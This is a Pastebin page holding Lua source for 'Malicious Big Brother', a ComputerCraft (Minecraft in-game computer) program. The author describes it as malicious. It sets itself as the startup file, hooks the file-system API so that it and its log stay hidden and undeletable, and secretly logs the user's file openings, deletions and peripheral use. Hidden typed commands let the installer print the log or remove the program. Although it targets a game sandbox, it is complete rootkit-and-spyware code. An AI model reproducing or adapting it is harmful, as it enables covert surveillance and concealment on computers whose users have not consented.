Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- Malicious Big Brother Trystan Cannon
- 13 September 2013
- This program allows the covering up the existence
- of the malicious program which is this.
- Once the program is covered up, all activity is logged
- and can be viewed with a particular command.
- This program should be the startup file on a computer.
- ]]
- ---------------------------------------------------
- -- Variables --
- ---------------------------------------------------
- local activityQueue = {} -- The list of activity messages that have yet to be recorded. Messages are removed after they are logged.
- ---------------------------------------------------
- -- Variables --
- ---------------------------------------------------
- ---------------------------------------------------
- -- Constants --
- ---------------------------------------------------
- local PROGRAM_TERMINATE_COMMAND = "MBB -t" -- Kills the currently running program. This only works on hidden programs right now.
- local PRINT_LOG_COMMAND = "MBB -p log" -- The command to be typed into the shell that prints the log.
- local KILL_MBB_COMMAND = "MBB -k" -- Kills MBB and returns to the original shell.
- local HIDDEN_FILE_PATHS = { -- All file paths which are to be hidden from the user.
- thisFile = shell.getRunningProgram(), -- The path to this file.
- logFile = "/mBB.log", -- The location where all activity is stored.
- startupFile = "/mBB_startup" -- The path to the startup file which the user sets so we can keep this program as the startup file.
- }
- local ACTIVITY_MESSAGES = { -- All messages which are to be stored in the log file for this program. These are functions which return strings.
- openFile = function (path, mode, success)
- return "User " .. ((success) and "succeeded in opening" or "failed in opening") .. ' ' .. path .. " in mode: '" .. mode .. "'."
- end,
- listFiles = function (path, removedFiles)
- return "User listed " .. path .. ". The following files were removed from the list: " .. textutils.serialize (removedFiles)
- end,
- deleteFile = function (path, success)
- return "User " .. ((success) and "deleted" or "did not delete") .. ' ' .. path .. '.'
- end,
- fileExists = function (path, success)
- return "User checked " .. ((success) and "successfully" or "unsuccessfully") .. " if " .. path .. " exists."
- end,
- runFile = function (path)
- return "User ran " .. path .. '.'
- end,
- wrapPeripheral = function (peripheralType, side)
- return "User wrapped a(n) " .. peripheralType .. " on side " .. side .. '.'
- end
- }
- ACTIVITY_MESSAGES.generateMessage = function (messageName, ...)
- return "Day " .. os.day() .. " at " .. textutils.formatTime (os.time (), true) .. ": " .. ACTIVITY_MESSAGES[messageName] (...)
- end
- local oldAPIs = {} -- A list of the old references to APIs which are overwritten so no recursive calls are made.
- local MODDED_API_LIST = { -- All of the APIs which are to be modified with the functions in this table.
- fs = {
- -- @Override fs.list
- list = function (path)
- path = shell.resolve (path)
- -- Make sure that the path being listed doesn't contain any
- -- hidden files.
- local fileList = oldAPIs.fs.list (path)
- -- Go through all of the files in the file list and add the indexes of any files
- -- which are on the hidden file list so that the user doesn't see them.
- for fileIndex = 1, #fileList do
- for _, hiddenFilePath in pairs (HIDDEN_FILE_PATHS) do
- if shell.resolve (path .. '/' .. fileList[fileIndex]) == shell.resolve (hiddenFilePath) then
- fileList[fileIndex] = nil
- break
- end
- end
- end
- -- Add the startup file to the list if the user lists the root directory and the hidden file for the user's startup
- -- exists.
- if path == shell.resolve ("") and oldAPIs.fs.exists (HIDDEN_FILE_PATHS.startupFile) then
- table.insert (fileList, "startup")
- end
- --activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("listFiles", path, fileIndexesToBeRemovedFromList)
- return fileList
- end,
- -- @Override fs.open
- -- We need to make sure that anyone trying to access our particular
- open = function (path, mode)
- path = shell.resolve (path)
- -- Don't allow the user to edit any of the files which are on the hidden file list.
- for _, hiddenFilePath in pairs (HIDDEN_FILE_PATHS) do
- -- If the user wants to edit the startup file, then we should give them a handle
- -- on the hidden file for the user's startup.
- if path == shell.resolve (hiddenFilePath) then
- --activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("openFile", path, mode, false)
- return nil
- end
- end
- -- Make sure the log records that the user opened the hidden startup file instead of "starup".
- if path == shell.resolve ("/startup") then
- path = HIDDEN_FILE_PATHS.startupFile
- end
- activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("openFile", path, mode, true)
- return oldAPIs.fs.open (path, mode)
- end,
- -- @Override fs.delete
- delete = function (path)
- path = shell.resolve (path)
- -- If the user wants to delete the startup file and the hidden file for the user's startup exists,
- -- then delete that file and return.
- if path == shell.resolve ("/starutp") and oldAPIs.fs.exists (HIDDEN_FILE_PATHS.startupFile) then
- oldAPIs.fs.delete (path)
- activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("deleteFile", HIDDEN_FILE_PATHS.startupFile, true)
- return
- end
- -- Make sure the path isn't one of the hidden file paths.
- for _, hiddenFilePath in pairs (HIDDEN_FILE_PATHS) do
- if path == hiddenFilePath then
- activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("deleteFile", path, false)
- return
- end
- end
- activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("deleteFile", path, true)
- return oldAPIs.fs.delete (path)
- end,
- -- @Override fs.exists
- exists = function (path)
- path = shell.resolve (path)
- -- Don't let the user know that any of the hidden files exist.
- for _, hiddenFilePath in pairs (HIDDEN_FILE_PATHS) do
- if path == shell.resolve (hiddenFilePath) then
- --activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("fileExists", path, false)
- return
- end
- end
- --activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("fileExists", path, true)
- return oldAPIs.fs.exists (path)
- end
- },
- os = {
- -- @Override os.run
- run = function (environment, path, ...)
- -- activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("runFile", path)
- return oldAPIs.os.run (environment, path, ...)
- end
- },
- peripheral = {
- -- @Override peripheral.wrap
- wrap = function (side)
- local object = oldAPIs.peripheral.wrap (side)
- if object then
- activityQueue[#activityQueue + 1] = ACTIVITY_MESSAGES.generateMessage ("wrapPeripheral", peripheral.getType (side), side)
- return object
- end
- end
- }
- }
- ---------------------------------------------------
- -- Constants --
- ---------------------------------------------------
- ---------------------------------------------------
- -- Functions --
- ---------------------------------------------------
- -- Updates the activity log with the contents of the activity queue.
- local function updateActivityLog()
- local fileHandle = nil
- for entryIndex = 1, #activityQueue do
- fileHandle = oldAPIs.fs.open (HIDDEN_FILE_PATHS.logFile, 'a')
- fileHandle.writeLine (activityQueue[entryIndex])
- fileHandle.close()
- end
- activityQueue = {}
- end
- -- Prints the activity log to the screen.
- local function printActivityLog()
- local activityLog = {}
- local fileHandle = oldAPIs.fs.open (HIDDEN_FILE_PATHS.logFile, 'r')
- print()
- for line in fileHandle.readAll():gmatch ("[^\n]+") do
- print (line)
- os.pullEvent ("key")
- end
- fileHandle.close()
- oldAPIs.os.run (setmetatable ({ shell = shell }, { __index = _G }), "/rom/programs/clear")
- end
- -- Backs up all native APIs and modifies the global APIs which have been backed up
- -- so that the they will serve the purposes of the program defined in the MODDED_API_LIST
- -- table.
- local function backupAndModifyAPIs()
- for apiName, moddedAPI in pairs (MODDED_API_LIST) do
- oldAPIs[apiName] = {}
- for functionName, moddedFunction in pairs (moddedAPI) do
- oldAPIs[apiName][functionName] = _G[apiName][functionName]
- _G[apiName][functionName] = moddedFunction
- end
- end
- oldAPIs.fs.getName = _G.fs.getName
- end
- -- Restores all of the APIs to their former states before being modified.
- local function restoreAPIs()
- for apiName, nativeAPI in pairs (oldAPIs) do
- for functionName, nativeFunction in pairs (nativeAPI) do
- _G[apiName][functionName] = nativeFunction
- end
- end
- end
- -- Runs the given hidden file.
- local function runHiddenProgram (hiddenPath)
- if oldAPIs.fs.exists (hiddenPath) then
- local hiddenFileHandle = oldAPIs.fs.open (hiddenPath, 'r')
- local hiddenFileContents = hiddenFileHandle.readAll()
- hiddenFileHandle.close()
- local hiddenProgramEnvironment = setmetatable ({ shell = shell }, { __index = getfenv (1) })
- local hiddenProgramFunction = loadstring (hiddenFileContents)
- setfenv (hiddenProgramFunction, hiddenProgramEnvironment)
- local hiddenProgramThread = coroutine.create (hiddenProgramFunction)
- coroutine.resume (hiddenProgramThread)
- local hiddenProgramEventFilter = nil
- while coroutine.status (hiddenProgramThread) ~= "dead" do
- local eventData = { os.pullEventRaw (hiddenProgramEventFilter) }
- if eventData[1] == "key" and eventData[2] == keys["f12"] then
- local command = ""
- local event, key = os.pullEventRaw()
- while not (event == "key" and key == 28) do
- if event == "char" then
- command = command .. key
- elseif event == "key" and key == 14 then
- command = command:sub (1, command:len() - 1)
- end
- event, key = os.pullEventRaw()
- end
- if command == PROGRAM_TERMINATE_COMMAND then
- hiddenProgramThread = coroutine.create (function() end)
- end
- end
- hiddenProgramEventFilter = coroutine.resume (hiddenProgramThread, unpack (eventData))
- end
- end
- end
- -- Don't look at me! I'm hideous!
- local function main()
- local command = ""
- local shellFunction = loadfile ("/rom/programs/shell")
- local shellEnvironment = setmetatable ({ shell = shell }, { __index = _G })
- setfenv (shellFunction, shellEnvironment)
- local shellThread = coroutine.create (shellFunction)
- coroutine.resume (shellThread)
- -- Run the user's startup file if it exists.
- if oldAPIs.fs.exists (HIDDEN_FILE_PATHS.startupFile) then
- term.native.setCursorBlink (false)
- runHiddenProgram (HIDDEN_FILE_PATHS.startupFile)
- coroutine.resume (shellThread)
- end
- while coroutine.status (shellThread) ~= "dead" do
- local eventData = { os.pullEvent() }
- if eventData[1] == "char" then
- command = command .. eventData[2]
- elseif eventData[1] ~= "char" then
- if command == PRINT_LOG_COMMAND then
- printActivityLog()
- command = ""
- eventData = {}
- elseif command == KILL_MBB_COMMAND then
- restoreAPIs()
- return
- end
- if eventData[1] == "key" then
- if eventData[2] == 28 then
- command = ""
- elseif eventData[2] == 14 then
- command = command:sub (1, command:len() - 1)
- end
- end
- end
- coroutine.resume (shellThread, unpack (eventData))
- updateActivityLog()
- end
- shell.exit()
- end
- ---------------------------------------------------
- -- Functions --
- ---------------------------------------------------
- backupAndModifyAPIs()
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement